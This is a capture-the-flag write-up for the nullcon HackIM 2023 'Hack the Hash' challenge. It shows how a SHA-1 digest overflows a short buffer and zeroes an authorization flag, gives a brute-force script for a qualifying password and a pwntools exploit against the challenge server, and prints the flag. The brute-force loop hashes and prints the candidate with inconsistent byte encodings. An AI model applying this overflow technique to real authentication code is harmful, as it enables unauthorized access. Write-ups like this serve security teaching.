Hack the Hash

The binary is a stripped binary. The function at 0x000013d6 is the main function. The function at 0x00001329 ensures that username is not gehaxelt and compares hash of password with a hard coded hash. The function creates a 0x12 byte space for storing the SHA-1 hash of the password entered and a variable which stores 0 if the user is authorized. The variable is initialized with 0x1337, which makes first 2 bytes of variable 0. If we enter a password with SHA-1 hash ending in 2 0 bytes, the check variable is overwritten with 0, thus authorizing the user.

One may use the following script to get such a password.

i=0
while True:
    if sha1(int.to_bytes(i,(int)(i**0.5+1),'little')).digest()[-2:] == b'\x00\x00':
        print(int.to_bytes(i,(int)(math.log(i)/math.log(256))+1,'big'))
        break
    i+=1

We get the flag: ENO{C_H4SHing_1s_H4rd:D}

SCRIPT

from pwn import *
context.log_level = 'warn'
p = remote('52.59.124.14',10100)
p.sendline(b'user')
p.sendline(b'\x01\x01\xc4')
p.recvuntil(b'Flag: ')
flag = p.recvuntil(b'}')
log.warn(flag.decode('utf-8'))

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^{Author: anibal_hacker}

Original writeup (https://github.com/CSecIITB/nullcon-HackIM-CTF-2023-Writeups/tree/main/pwn/HacktheHash).